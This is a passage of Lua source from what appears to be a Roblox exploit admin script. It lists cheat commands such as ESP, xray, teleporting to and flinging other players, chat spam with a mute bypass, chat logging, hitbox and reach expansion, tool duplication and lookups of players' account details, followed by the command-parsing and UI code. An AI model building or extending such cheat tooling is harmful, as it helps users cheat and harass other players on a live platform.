  3522. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3523. CMDs[#CMDs + 1] = {NAME = 'setwaypoint / swp [name]', DESC = 'Sets a waypoint at your position'}
  3524. CMDs[#CMDs + 1] = {NAME = 'waypointpos / wpp [name] [X Y Z]', DESC = 'Sets a waypoint with specified coordinates'}
  3525. CMDs[#CMDs + 1] = {NAME = 'waypoint / wp [name]', DESC = 'Teleports player to a waypoint'}
  3526. CMDs[#CMDs + 1] = {NAME = 'deletewaypoint / dwp [name]', DESC = 'Deletes a waypoint'}
  3527. CMDs[#CMDs + 1] = {NAME = 'clearwaypoints / cwp', DESC = 'Clears all waypoints'}
  3528. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3529. CMDs[#CMDs + 1] = {NAME = 'goto [plr]', DESC = 'Go to a player'}
  3530. CMDs[#CMDs + 1] = {NAME = 'vehiclegoto / vgoto [plr]', DESC = 'Go to a player while in a vehicle'}
  3531. CMDs[#CMDs + 1] = {NAME = 'loopgoto [plr] [distance] [delay]', DESC = 'Loop teleport to a player'}
  3532. CMDs[#CMDs + 1] = {NAME = 'unloopgoto [plr]', DESC = 'Stops teleporting you to a player'}
  3533. CMDs[#CMDs + 1] = {NAME = 'clientbring / cbring [plr] (CLIENT)', DESC = 'Bring a player'}
  3534. CMDs[#CMDs + 1] = {NAME = 'loopbring [plr] [distance] [delay] (CLIENT)', DESC = 'Loop brings a player to you (useful for killing)'}
  3535. CMDs[#CMDs + 1] = {NAME = 'unloopbring [plr]', DESC = 'Undoes loopbring'}
  3536. CMDs[#CMDs + 1] = {NAME = 'freeze / fr [plr] (CLIENT)', DESC = 'Freezes a player'}
  3537. CMDs[#CMDs + 1] = {NAME = 'thaw / unfr [plr] (CLIENT)', DESC = 'Unfreezes a player'}
  3538. CMDs[#CMDs + 1] = {NAME = 'tpposition / tppos [X Y Z]', DESC = 'Teleports you to certain coordinates'}
  3539. CMDs[#CMDs + 1] = {NAME = 'offset [X Y Z]', DESC = 'Offsets you by certain coordinates'}
  3540. CMDs[#CMDs + 1] = {NAME = 'notifyposition / notifypos', DESC = 'Notifies you the coordinates of your character'}
  3541. CMDs[#CMDs + 1] = {NAME = 'copyposition / copypos', DESC = 'Copies the coordinates of your character to your clipboard'}
  3542. CMDs[#CMDs + 1] = {NAME = 'spawnpoint / spawn', DESC = 'Sets a position where you will spawn'}
  3543. CMDs[#CMDs + 1] = {NAME = 'nospawnpoint / nospawn', DESC = 'Removes your custom spawn point'}
  3544. CMDs[#CMDs + 1] = {NAME = 'flashback / diedtp', DESC = 'Teleports you to where you last died'}
  3545. CMDs[#CMDs + 1] = {NAME = 'walltp', DESC = 'Teleports you above/over any wall you run into'}
  3546. CMDs[#CMDs + 1] = {NAME = 'nowalltp / unwalltp', DESC = 'Disables walltp'}
  3547. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3548. CMDs[#CMDs + 1] = {NAME = 'chatlogs / logs', DESC = 'Log what people say or whisper'}
  3549. CMDs[#CMDs + 1] = {NAME = 'chat [text]', DESC = 'Makes you chat a string (possible mute bypass)'}
  3550. CMDs[#CMDs + 1] = {NAME = 'spam [text]', DESC = 'Makes you spam the chat'}
  3551. CMDs[#CMDs + 1] = {NAME = 'unspam', DESC = 'Turns off spam'}
  3552. CMDs[#CMDs + 1] = {NAME = 'pmspam [plr] [text]', DESC = 'Makes you spam a players whispers'}
  3553. CMDs[#CMDs + 1] = {NAME = 'unpmspam [plr]', DESC = 'Turns off pm spam'}
  3554. CMDs[#CMDs + 1] = {NAME = 'spamspeed [num]', DESC = 'How quickly you spam (default is 1)'}
  3555. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3556. CMDs[#CMDs + 1] = {NAME = 'esp', DESC = 'View all players and their status'}
  3557. CMDs[#CMDs + 1] = {NAME = 'noesp / unesp', DESC = 'Removes esp'}
  3558. CMDs[#CMDs + 1] = {NAME = 'partesp [part name]', DESC = 'Highlights a part'}
  3559. CMDs[#CMDs + 1] = {NAME = 'unpartesp / nopartesp [part name]', DESC = 'removes partesp'}
  3560. CMDs[#CMDs + 1] = {NAME = 'chams', DESC = 'ESP but without text in the way'}
  3561. CMDs[#CMDs + 1] = {NAME = 'nochams / unchams', DESC = 'Removes chams'}
  3562. CMDs[#CMDs + 1] = {NAME = 'locate [plr]', DESC = 'View a single player and their status'}
  3563. CMDs[#CMDs + 1] = {NAME = 'unlocate / nolocate [plr]', DESC = 'Removes locate'}
  3564. CMDs[#CMDs + 1] = {NAME = 'xray', DESC = 'Makes all parts in workspace transparent'}
  3565. CMDs[#CMDs + 1] = {NAME = 'unxray / noxray', DESC = 'Restores transparency'}
  3566. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3567. CMDs[#CMDs + 1] = {NAME = 'spectate / view [plr]', DESC = 'View a player'}
  3568. CMDs[#CMDs + 1] = {NAME = 'unspectate / unview', DESC = 'Stops viewing player'}
  3569. CMDs[#CMDs + 1] = {NAME = 'freecam / fc', DESC = 'Allows you to freely move camera around the game'}
  3570. CMDs[#CMDs + 1] = {NAME = 'unfreecam / unfc', DESC = 'Disables freecam'}
  3571. CMDs[#CMDs + 1] = {NAME = 'freecamspeed / fcspeed [num]', DESC = 'Adjusts freecam speed (default is 1)'}
  3572. CMDs[#CMDs + 1] = {NAME = 'gotocamera / gotocam', DESC = 'Teleports you to the location of your camera'}
  3573. CMDs[#CMDs + 1] = {NAME = 'firstp', DESC = 'Forces camera to go into first person'}
  3574. CMDs[#CMDs + 1] = {NAME = 'thirdp', DESC = 'Allows camera to go into third person'}
  3575. CMDs[#CMDs + 1] = {NAME = 'noclipcam / nccam', DESC = 'Allows camera to go through objects like walls'}
  3576. CMDs[#CMDs + 1] = {NAME = 'maxzoom [num]', DESC = 'Maximum camera zoom'}
  3577. CMDs[#CMDs + 1] = {NAME = 'fov [num]', DESC = 'Adjusts field of view (default is 70)'}
  3578. CMDs[#CMDs + 1] = {NAME = 'fixcam / restorecam', DESC = 'Fixes camera'}
  3579. CMDs[#CMDs + 1] = {NAME = 'enableshiftlock / enablesl', DESC = 'Enables the shift lock option'}
  3580. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3581. CMDs[#CMDs + 1] = {NAME = 'btools (CLIENT)', DESC = 'Gives you building tools (DOES NOT REPLICATE)'}
  3582. CMDs[#CMDs + 1] = {NAME = 'f3x (CLIENT)', DESC = 'Gives you F3X building tools (DOES NOT REPLICATE)'}
  3583. CMDs[#CMDs + 1] = {NAME = 'delete [instance name] (CLIENT)', DESC = 'Removes any part with a certain name from the workspace (DOES NOT REPLICATE)'}
  3584. CMDs[#CMDs + 1] = {NAME = 'deleteclass / dc [class name] (CLIENT)', DESC = 'Removes any part with a certain classname from the workspace (DOES NOT REPLICATE)'}
  3585. CMDs[#CMDs + 1] = {NAME = 'chardelete / cd [instance name]', DESC = 'Removes any part with a certain name from your character'}
  3586. CMDs[#CMDs + 1] = {NAME = 'chardeleteclass / cdc [class name]', DESC = 'Removes any part with a certain classname from your character'}
  3587. CMDs[#CMDs + 1] = {NAME = 'deletevelocity / dv / removeforces', DESC = 'Removes any velocity / force instances in your character'}
  3588. CMDs[#CMDs + 1] = {NAME = 'lockworkspace / lockws', DESC = 'Locks the whole workspace'}
  3589. CMDs[#CMDs + 1] = {NAME = 'unlockworkspace / unlockws', DESC = 'Unlocks the whole workspace'}
  3590. CMDs[#CMDs + 1] = {NAME = 'gotopart [part name]', DESC = 'Moves your character to a part or multiple parts'}
  3591. CMDs[#CMDs + 1] = {NAME = 'bringpart [part name] (CLIENT)', DESC = 'Moves a part or multiple parts to your character'}
  3592. CMDs[#CMDs + 1] = {NAME = 'gotopartclass / gpc [class name]', DESC = 'Moves your character to a part or multiple parts based on classname'}
  3593. CMDs[#CMDs + 1] = {NAME = 'bringpartclass / bpc [class name] (CLIENT)', DESC = 'Moves a part or multiple parts to your character based on classname'}
  3594. CMDs[#CMDs + 1] = {NAME = 'noclickdetectorlimits / nocdlimits', DESC = 'Sets all click detectors MaxActivationDistance to math.huge'}
  3595. CMDs[#CMDs + 1] = {NAME = 'simulationradius / simradius', DESC = 'Sets your SimulationRadius to math.huge'}
  3596. CMDs[#CMDs + 1] = {NAME = 'tpunanchored / tpua [plr]', DESC = 'Teleports unanchored parts to a player'}
  3597. CMDs[#CMDs + 1] = {NAME = 'freezeunanchored / freezeua', DESC = 'Freezes unanchored parts'}
  3598. CMDs[#CMDs + 1] = {NAME = 'thawunanchored / thawua / unfreezeua', DESC = 'Thaws unanchored parts'}
  3599. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3600. CMDs[#CMDs + 1] = {NAME = 'fullbright / fb (CLIENT)', DESC = 'Makes the map brighter / more visible'}
  3601. CMDs[#CMDs + 1] = {NAME = 'ambient [num] [num] [num] (CLIENT)', DESC = 'Changes ambient'}
  3602. CMDs[#CMDs + 1] = {NAME = 'day (CLIENT)', DESC = 'Changes the time to day for the client'}
  3603. CMDs[#CMDs + 1] = {NAME = 'night (CLIENT)', DESC = 'Changes the time to night for the client'}
  3604. CMDs[#CMDs + 1] = {NAME = 'nofog (CLIENT)', DESC = 'Removes fog'}
  3605. CMDs[#CMDs + 1] = {NAME = 'brightness [num] (CLIENT)', DESC = 'Changes the brightness lighting property'}
  3606. CMDs[#CMDs + 1] = {NAME = 'globalshadows / gshadows (CLIENT)', DESC = 'Enables global shadows'}
  3607. CMDs[#CMDs + 1] = {NAME = 'noglobalshadows / nogshadows (CLIENT)', DESC = 'Disables global shadows'}
  3608. CMDs[#CMDs + 1] = {NAME = 'restorelighting / rlighting', DESC = 'Restores Lighting properties'}
  3609. CMDs[#CMDs + 1] = {NAME = 'light [radius] (CLIENT)', DESC = 'Gives your player dynamic light'}
  3610. CMDs[#CMDs + 1] = {NAME = 'nolight / unlight', DESC = 'Removes dynamic light from your player'}
  3611. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3612. CMDs[#CMDs + 1] = {NAME = 'age [plr]', DESC = 'Tells you the age of a player'}
  3613. CMDs[#CMDs + 1] = {NAME = 'chatage [plr]', DESC = 'Chats the age of a player'}
  3614. CMDs[#CMDs + 1] = {NAME = 'joindate / jd [plr]', DESC = 'Tells you the date the player joined Roblox'}
  3615. CMDs[#CMDs + 1] = {NAME = 'chatjoindate / cjd [plr]', DESC = 'Chats the date the player joined Roblox'}
  3616. CMDs[#CMDs + 1] = {NAME = 'os [plr]', DESC = 'Shows a players platform'}
  3617. CMDs[#CMDs + 1] = {NAME = 'chatos [plr]', DESC = 'Chats a players platform'}
  3618. CMDs[#CMDs + 1] = {NAME = 'setos [text]', DESC = 'Sets your os to whatever you input'}
  3619. CMDs[#CMDs + 1] = {NAME = 'copyname / copyuser [plr]', DESC = 'Copies a players full username to your clipboard'}
  3620. CMDs[#CMDs + 1] = {NAME = 'copyid [plr]', DESC = 'Copies a players user ID to your clipboard'}
  3621. CMDs[#CMDs + 1] = {NAME = 'copyappearanceid [plr]', DESC = 'Copies a players appearance ID to your clipboard'}
  3622. CMDs[#CMDs + 1] = {NAME = 'bang [plr] [speed]', DESC = 'owo'}
  3623. CMDs[#CMDs + 1] = {NAME = 'unbang [plr]', DESC = 'uwu'}
  3624. CMDs[#CMDs + 1] = {NAME = 'headsit [plr]', DESC = 'Sit on a players head'}
  3625. CMDs[#CMDs + 1] = {NAME = 'walkto / follow [plr]', DESC = 'Follow a player'}
  3626. CMDs[#CMDs + 1] = {NAME = 'unwalkto / unfollow', DESC = 'Stops following a player'}
  3627. CMDs[#CMDs + 1] = {NAME = 'kill [plr] (TOOL)', DESC = 'Kills a player (YOU NEED A TOOL)'}
  3628. CMDs[#CMDs + 1] = {NAME = 'bring [plr] (TOOL)', DESC = 'Brings a player (YOU NEED A TOOL)'}
  3629. CMDs[#CMDs + 1] = {NAME = 'fastkill [plr] (TOOL)', DESC = 'Kills a player (less reliable) (YOU NEED A TOOL)'}
  3630. CMDs[#CMDs + 1] = {NAME = 'fastbring [plr] (TOOL)', DESC = 'Brings a player (less reliable) (YOU NEED A TOOL)'}
  3631. CMDs[#CMDs + 1] = {NAME = 'fling', DESC = 'Flings anyone you touch'}
  3632. CMDs[#CMDs + 1] = {NAME = 'unfling', DESC = 'Disables the fling command'}
  3633. CMDs[#CMDs + 1] = {NAME = 'loopoof', DESC = 'Loops everyones character sounds (everyone can hear)'}
  3634. CMDs[#CMDs + 1] = {NAME = 'unloopoof', DESC = 'Stops the oof chaos'}
  3635. CMDs[#CMDs + 1] = {NAME = 'hitbox [plr] [size]', DESC = 'Expands the hitbox for players heads (default is 1)'}
  3636. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3637. CMDs[#CMDs + 1] = {NAME = 'reset', DESC = 'Resets your character normally'}
  3638. CMDs[#CMDs + 1] = {NAME = 'respawn', DESC = 'Respawns you'}
  3639. CMDs[#CMDs + 1] = {NAME = 'refresh / re', DESC = 'Respawns and brings you back to the same position'}
  3640. CMDs[#CMDs + 1] = {NAME = 'invisible / invis', DESC = 'Makes you invisible to other players'}
  3641. CMDs[#CMDs + 1] = {NAME = 'visible / vis', DESC = 'Makes you visible to other players'}
  3642. CMDs[#CMDs + 1] = {NAME = 'weaken [num]', DESC = 'Makes your character less dense'}
  3643. CMDs[#CMDs + 1] = {NAME = 'unweaken', DESC = 'Sets your characters CustomPhysicalProperties to default'}
  3644. CMDs[#CMDs + 1] = {NAME = 'strengthen [num]', DESC = 'Makes your character more dense (CustomPhysicalProperties)'}
  3645. CMDs[#CMDs + 1] = {NAME = 'unstrengthen', DESC = 'Sets your characters CustomPhysicalProperties to default'}
  3646. CMDs[#CMDs + 1] = {NAME = 'speed / ws [num]', DESC = 'Change your walkspeed'}
  3647. CMDs[#CMDs + 1] = {NAME = 'hipheight / hheight [num]', DESC = 'Adjusts hip height'}
  3648. CMDs[#CMDs + 1] = {NAME = 'jumppower / jpower [num]', DESC = 'Change a players jump height'}
  3649. CMDs[#CMDs + 1] = {NAME = 'gravity / grav [num]', DESC = 'Change your gravity'}
  3650. CMDs[#CMDs + 1] = {NAME = 'sit', DESC = 'Makes your character sit'}
  3651. CMDs[#CMDs + 1] = {NAME = 'jump', DESC = 'Makes your character jump'}
  3652. CMDs[#CMDs + 1] = {NAME = 'infinitejump / infjump', DESC = 'Allows you to jump before hitting the ground'}
  3653. CMDs[#CMDs + 1] = {NAME = 'uninfinitejump / uninfjump', DESC = 'Disables infjump'}
  3654. CMDs[#CMDs + 1] = {NAME = 'platformstand / stun', DESC = 'Enables PlatformStand'}
  3655. CMDs[#CMDs + 1] = {NAME = 'unplatformstand / unstun', DESC = 'Disables PlatformStand'}
  3656. CMDs[#CMDs + 1] = {NAME = 'team [team name] (CLIENT)', DESC = 'Changes your team. Sometimes fools localscripts.'}
  3657. CMDs[#CMDs + 1] = {NAME = 'nobillboardgui / nobgui / noname', DESC = 'Removes billboard and surface guis from your players (i.e. name guis at cafes)'}
  3658. CMDs[#CMDs + 1] = {NAME = 'animation / anim [ID] [speed]', DESC = 'Makes your character perform an animation (must be by roblox to replicate)'}
  3659. CMDs[#CMDs + 1] = {NAME = 'dance', DESC = 'Makes you d a n c e'}
  3660. CMDs[#CMDs + 1] = {NAME = 'undance', DESC = 'Stops dance animations'}
  3661. CMDs[#CMDs + 1] = {NAME = 'spasm', DESC = 'Makes you c r a z y'}
  3662. CMDs[#CMDs + 1] = {NAME = 'unspasm', DESC = 'Stops spasm'}
  3663. CMDs[#CMDs + 1] = {NAME = 'headthrow', DESC = 'Simply makes you throw your head'}
  3664. CMDs[#CMDs + 1] = {NAME = 'noarms', DESC = 'Removes your arms'}
  3665. CMDs[#CMDs + 1] = {NAME = 'nolegs', DESC = 'Removes your arms'}
  3666. CMDs[#CMDs + 1] = {NAME = 'nolimbs', DESC = 'Removes your limbs'}
  3667. CMDs[#CMDs + 1] = {NAME = 'naked', DESC = 'Removes your clothing'}
  3668. CMDs[#CMDs + 1] = {NAME = 'noface / removeface', DESC = 'Removes your face'}
  3669. CMDs[#CMDs + 1] = {NAME = 'blockhead', DESC = 'Turns your head into a block'}
  3670. CMDs[#CMDs + 1] = {NAME = 'blockhats', DESC = 'Turns your hats into blocks'}
  3671. CMDs[#CMDs + 1] = {NAME = 'blocktool', DESC = 'Turns the currently selected tool into a block'}
  3672. CMDs[#CMDs + 1] = {NAME = 'creeper', DESC = 'Makes you look like a creeper'}
  3673. CMDs[#CMDs + 1] = {NAME = 'drophats', DESC = 'Drops your hats'}
  3674. CMDs[#CMDs + 1] = {NAME = 'nohats / deletehats / rhats', DESC = 'Deletes your hats'}
  3675. CMDs[#CMDs + 1] = {NAME = 'spin [speed]', DESC = 'Spins your character'}
  3676. CMDs[#CMDs + 1] = {NAME = 'unspin', DESC = 'Disables spin'}
  3677. CMDs[#CMDs + 1] = {NAME = 'hatspin / spinhats', DESC = 'Spins your characters accessories'}
  3678. CMDs[#CMDs + 1] = {NAME = 'unhatspin / unspinhats', DESC = 'Undoes spinhats'}
  3679. CMDs[#CMDs + 1] = {NAME = 'vr', DESC = 'Loads CLOVR by Abacaxl'}
  3680. CMDs[#CMDs + 1] = {NAME = 'split', DESC = 'Splits your character in half'}
  3681. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3682. CMDs[#CMDs + 1] = {NAME = 'autoclick [click delay] [release delay]', DESC = 'Automatically clicks your mouse with a set delay'}
  3683. CMDs[#CMDs + 1] = {NAME = 'unautoclick / noautoclick', DESC = 'Turns off autoclick'}
  3684. CMDs[#CMDs + 1] = {NAME = 'hovername', DESC = 'Shows a players username when your mouse is hovered over them'}
  3685. CMDs[#CMDs + 1] = {NAME = 'unhovername / nohovername', DESC = 'Turns off hovername'}
  3686. CMDs[#CMDs + 1] = {NAME = 'mousesensitivity / ms [0-10]', DESC = 'Sets your mouse sensitivity (affects first person and right click drag) (default is 1)'}
  3687. CMDs[#CMDs + 1] = {NAME = 'clickdelete', DESC = 'Go to settings>Keybinds>Add for clicktp'}
  3688. CMDs[#CMDs + 1] = {NAME = 'clickteleport', DESC = 'Go to settings>Keybinds>Add for click tp'}
  3689. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3690. CMDs[#CMDs + 1] = {NAME = 'tools', DESC = 'Copies tools from ReplicatedStorage and Lighting'}
  3691. CMDs[#CMDs + 1] = {NAME = 'notools / removetools / deletetools', DESC = 'Removes tools from character and backpack'}
  3692. CMDs[#CMDs + 1] = {NAME = 'grabtools', DESC = 'Automatically get tools that are dropped'}
  3693. CMDs[#CMDs + 1] = {NAME = 'ungrabtools / nograbtools', DESC = 'Disables grabtools'}
  3694. CMDs[#CMDs + 1] = {NAME = 'copytools [plr]', DESC = 'Copies a players tools'}
  3695. CMDs[#CMDs + 1] = {NAME = 'dupetools / clonetools', DESC = 'Duplicates your inventory tools'}
  3696. CMDs[#CMDs + 1] = {NAME = 'droptools', DESC = 'Drops your tools'}
  3697. CMDs[#CMDs + 1] = {NAME = 'droppabletools', DESC = 'Makes your tools droppable'}
  3698. CMDs[#CMDs + 1] = {NAME = 'equiptools', DESC = 'Equips every tool in your inventory at once'}
  3699. CMDs[#CMDs + 1] = {NAME = 'reach [num]', DESC = 'Increases the hitbox of your held tool'}
  3700. CMDs[#CMDs + 1] = {NAME = 'unreach / noreach', DESC = 'Turns off reach'}
  3701. CMDs[#CMDs + 1] = {NAME = 'grippos [X Y Z]', DESC = 'Changes your current tools grip position'}
  3702. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3703. CMDs[#CMDs + 1] = {NAME = 'addalias [cmd] [alias]', DESC = 'Adds an alias to a command'}
  3704. CMDs[#CMDs + 1] = {NAME = 'removealias [alias]', DESC = 'Removes a custom alias'}
  3705. CMDs[#CMDs + 1] = {NAME = 'clraliases', DESC = 'Removes all custom aliases'}
  3706. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3707. CMDs[#CMDs + 1] = {NAME = 'addplugin / plugin [name]', DESC = 'Add a plugin via command'}
  3708. CMDs[#CMDs + 1] = {NAME = 'removeplugin / deleteplugin [name]', DESC = 'Remove a plugin via command'}
  3709. CMDs[#CMDs + 1] = {NAME = 'reloadplugin [name]', DESC = 'Reloads a plugin'}
  3710. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3711. CMDs[#CMDs + 1] = {NAME = 'breakloops / break (cmd loops)', DESC = 'Stops any cmd loops (;100^1^cmd)'}
  3712. CMDs[#CMDs + 1] = {NAME = 'removecmd / deletecmd', DESC = 'Removes a command until the admin is reloaded'}
  3713. wait()
  3714.  
  3715. for i = 1, #CMDs do
  3716. local newcmd = Holder.Example:Clone()
  3717. newcmd.Parent = Holder.CMDs
  3718. newcmd.Visible = false
  3719. newcmd.Text = CMDs[i].NAME
  3720. newcmd.Name = 'CMD'
  3721. table.insert(text1,newcmd)
  3722. if CMDs[i].DESC ~= '' then
  3723. local title = Instance.new("StringValue",newcmd)
  3724. title.Name = "Title"
  3725. title.Value = CMDs[i].NAME
  3726. local desc = Instance.new("StringValue",newcmd)
  3727. desc.Name = "Desc"
  3728. desc.Value = CMDs[i].DESC
  3729. newcmd.MouseButton1Down:Connect(function()
  3730. if newcmd.Visible and newcmd.TextTransparency == 0 then
  3731. Holder.Cmdbar:CaptureFocus()
  3732. autoComplete(newcmd.Text)
  3733. maximizeHolder()
  3734. end
  3735. end)
  3736. end
  3737. end
  3738.  
  3739. IndexContents('',true)
  3740.  
  3741. function getText(object)
  3742. if object ~= nil then
  3743. if object:FindFirstChild('Desc') ~= nil then
  3744. return {object.Desc.Value, object:FindFirstChild('Title')}
  3745. elseif object.Parent:FindFirstChild('Desc') ~= nil then
  3746. return {object.Parent.Desc.Value, object.Parent:FindFirstChild('Title')}
  3747. end
  3748. end
  3749. return nil
  3750. end
  3751.  
  3752. function checkTT()
  3753. local t
  3754. local guisAtPosition = game:GetService("CoreGui"):GetGuiObjectsAtPosition(IYMouse.X, IYMouse.Y)
  3755.  
  3756. for _, gui in pairs(guisAtPosition) do
  3757. if gui.Parent == CMDsF then
  3758. t = gui
  3759. end
  3760. end
  3761.  
  3762. if t ~= nil then
  3763. local gt = getText(t)
  3764. if gt ~= nil then
  3765. local x = IYMouse.X
  3766. local y = IYMouse.Y
  3767. local xP
  3768. local yP
  3769. if IYMouse.X > 200 then
  3770. xP = x - 201
  3771. else
  3772. xP = x + 21
  3773. end
  3774. if IYMouse.Y > (IYMouse.ViewSizeY-96) then
  3775. yP = y - 97
  3776. else
  3777. yP = y
  3778. end
  3779. Tooltip.Position = UDim2.new(0, xP, 0, yP)
  3780. Tooltip.Description.Text = gt[1]
  3781. if gt[2] ~= nil then
  3782. Tooltip.Title.Text = gt[2].Value
  3783. else
  3784. Tooltip.Title.Text = ''
  3785. end
  3786. Tooltip.Visible = true
  3787. else
  3788. Tooltip.Visible = false
  3789. end
  3790. else
  3791. Tooltip.Visible = false
  3792. end
  3793. end
  3794.  
  3795. function FindInTable(Table, Name)
  3796. for i,v in pairs(Table) do
  3797. if v == Name then
  3798. return true
  3799. end
  3800. end
  3801. return false
  3802. end
  3803.  
  3804. function GetInTable(Table, Name)
  3805. for i = 1, #Table do
  3806. if Table[i] == Name then
  3807. return i
  3808. end
  3809. end
  3810. return false
  3811. end
  3812.  
  3813. function respawn(plr)
  3814. plr.Character:FindFirstChildOfClass('Humanoid').Health = 0
  3815. plr.Character:BreakJoints()
  3816. for _,v in pairs(plr.Character:GetChildren()) do
  3817. if v:IsA("BasePart") then
  3818. v:Destroy()
  3819. end
  3820. end
  3821. end
  3822.  
  3823. refreshCmd = false
  3824.  
  3825. function refresh(plr)
  3826. spawn(function()
  3827. refreshCmd = true
  3828. local rpos = plr.Character.HumanoidRootPart.Position
  3829. wait()
  3830. respawn(plr)
  3831. wait()
  3832. repeat wait() until plr.Character ~= nil and plr.Character:FindFirstChild('HumanoidRootPart')
  3833. wait(.1)
  3834. plr.Character:MoveTo(rpos)
  3835. wait()
  3836. refreshCmd = false
  3837. end)
  3838. end
  3839.  
  3840. local lastDeath
  3841.  
  3842. function onDied()
  3843. spawn(function()
  3844. if pcall(function() Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') end) and Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
  3845. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Died:connect(function()
  3846. if Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
  3847. lastDeath = Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
  3848. end
  3849. end)
  3850. else
  3851. wait(2)
  3852. onDied()
  3853. end
  3854. end)
  3855. end
  3856.  
  3857. Clip = true
  3858.  
  3859. Players.LocalPlayer.CharacterAdded:Connect(function()
  3860. FLYING = false
  3861. Floating = false
  3862.  
  3863. if not Clip then
  3864. execCmd('clip nonotify')
  3865. end
  3866.  
  3867. if #spawnCmds > 0 then
  3868. for i,v in pairs(spawnCmds)do
  3869. spawn(function()
  3870. wait(v.DELAY)
  3871. execCmd(v.COMMAND,Players.LocalPlayer)
  3872. end)
  3873. end
  3874. end
  3875.  
  3876. repeat wait() until Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart')
  3877.  
  3878. if spawnpoint and not refreshCmd and spawnpos ~= nil then
  3879. wait(.1)
  3880. Players.LocalPlayer.Character.HumanoidRootPart.CFrame = spawnpos
  3881. end
  3882.  
  3883. onDied()
  3884. end)
  3885.  
  3886. onDied()
  3887.  
  3888. std={}
  3889. std.inTable=function(tbl,val)
  3890. if tbl==nil then return false end
  3891. for _,v in pairs(tbl)do
  3892. if v==val then return true end
  3893. end
  3894. return false
  3895. end
  3896.  
  3897. function getstring(begin)
  3898. local start = begin-1
  3899. local AA = '' for i,v in pairs(cargs) do
  3900. if i > start then
  3901. if AA ~= '' then
  3902. AA = AA .. ' ' .. v
  3903. else
  3904. AA = AA .. v
  3905. end
  3906. end
  3907. end
  3908. return AA
  3909. end
  3910.  
  3911. findCmd=function(cmd_name)
  3912. for i,v in pairs(cmds)do
  3913. if v.NAME:lower()==cmd_name:lower() or std.inTable(v.ALIAS,cmd_name:lower()) then
  3914. return v
  3915. end
  3916. end
  3917. return customAlias[cmd_name:lower()]
  3918. end
  3919.  
  3920. function splitString(str,delim)
  3921. local broken = {}
  3922. if delim == nil then delim = "," end
  3923. for w in string.gmatch(str,"[^"..delim.."]+") do
  3924. table.insert(broken,w)
  3925. end
  3926. return broken
  3927. end
  3928.  
  3929. historyCount = 0
  3930. cmdHistory = {}
  3931. split=" "
  3932. lastBreakTime = 0
  3933. function execCmd(cmdStr,speaker)
  3934. spawn(function()
  3935. local rawCmdStr = cmdStr
  3936. cmdStr = string.gsub(cmdStr,"\\\\","%%BackSlash%%")
  3937. local commandsToRun = splitString(cmdStr,"\\")
  3938. for i,v in pairs(commandsToRun) do
  3939. v = string.gsub(v,"%%BackSlash%%","\\")
  3940. local x,y,num = v:find("^(%d+)%^")
  3941. local cmdDelay = 0
  3942. if num then
  3943. v = v:sub(y+1)
  3944. local x,y,del = v:find("^([%d%.]+)%^")
  3945. if del then
  3946. v = v:sub(y+1)
  3947. cmdDelay = tonumber(del) or 0
  3948. end
  3949. end
  3950. num = tonumber(num or 1)
  3951. local args = splitString(v,split)
  3952. local cmd = findCmd(args[1])
  3953. if cmd then
  3954. table.remove(args,1)
  3955. cargs = args
  3956. if not speaker then speaker = Players.LocalPlayer end
  3957. if speaker == Players.LocalPlayer then
  3958. if cmdHistory[1] ~= rawCmdStr then table.insert(cmdHistory,1,rawCmdStr) end
  3959. end
  3960. if #cmdHistory > 20 then table.remove(cmdHistory) end
  3961. local cmdStartTime = tick()
  3962. for rep = 1,num do
  3963. if lastBreakTime > cmdStartTime then break end
  3964. pcall(function()
  3965. cmd.FUNC(args, speaker)
  3966. end)
  3967. if cmdDelay ~= 0 then wait(cmdDelay) end
  3968. end
  3969. end
  3970. end
  3971. end)
  3972. end
  3973.  
  3974. function addcmd(name,alias,func,plgn)
  3975. cmds[#cmds+1]=
  3976. {
  3977. NAME=name;
  3978. ALIAS=alias;
  3979. FUNC=func;
  3980. PLUGIN=plgn;
  3981. }
  3982. end
  3983.  
  3984. function removecmd(cmd)
  3985. if cmd ~= " " then
  3986. for i = #cmds,1,-1 do
  3987. if cmds[i].NAME == cmd or FindInTable(cmds[i].ALIAS,cmd) then
  3988. table.remove(cmds, i)
  3989. for a,c in pairs(Holder.CMDs:GetChildren()) do
  3990. if string.find(c.Text, "^"..cmd.."$") or string.find(c.Text, "^"..cmd.." ") or string.find(c.Text, " "..cmd.."$") or string.find(c.Text, " "..cmd.." ") then
  3991. c.TextTransparency = 0.7
  3992. c.MouseButton1Click:Connect(function()
  3993. notify(c.Text, "Command has been disabled by you or a plugin")
  3994. end)
  3995. end
  3996. end
  3997. end
  3998. end
  3999. end
  4000. end
  4001.  
  4002. function addbind(cmd,key)
  4003. binds[#binds+1]=
  4004. {
  4005. COMMAND=cmd;
  4006. KEY=key;
  4007. }
  4008. end
  4009.  
  4010. function addspawn(cmd,sDelay)
  4011. spawnCmds[#spawnCmds+1]=
  4012. {
  4013. COMMAND=cmd;
  4014. DELAY=sDelay;
  4015. }
  4016. end
  4017.  
  4018. function addcmdtext(text,name,desc)
  4019. local newcmd = Holder.Example:Clone()
  4020. local tooltipText = tostring(text)
  4021. local tooltipDesc = tostring(desc)
  4022. newcmd.Parent = Holder.CMDs
  4023. newcmd.Visible = false
  4024. newcmd.Text = text
  4025. newcmd.Name = 'PLUGIN_'..name
  4026. table.insert(text1,newcmd)
  4027. if desc and desc ~= '' then
  4028. local title = Instance.new("StringValue",newcmd)
  4029. title.Name = "Title"
  4030. title.Value = tooltipText
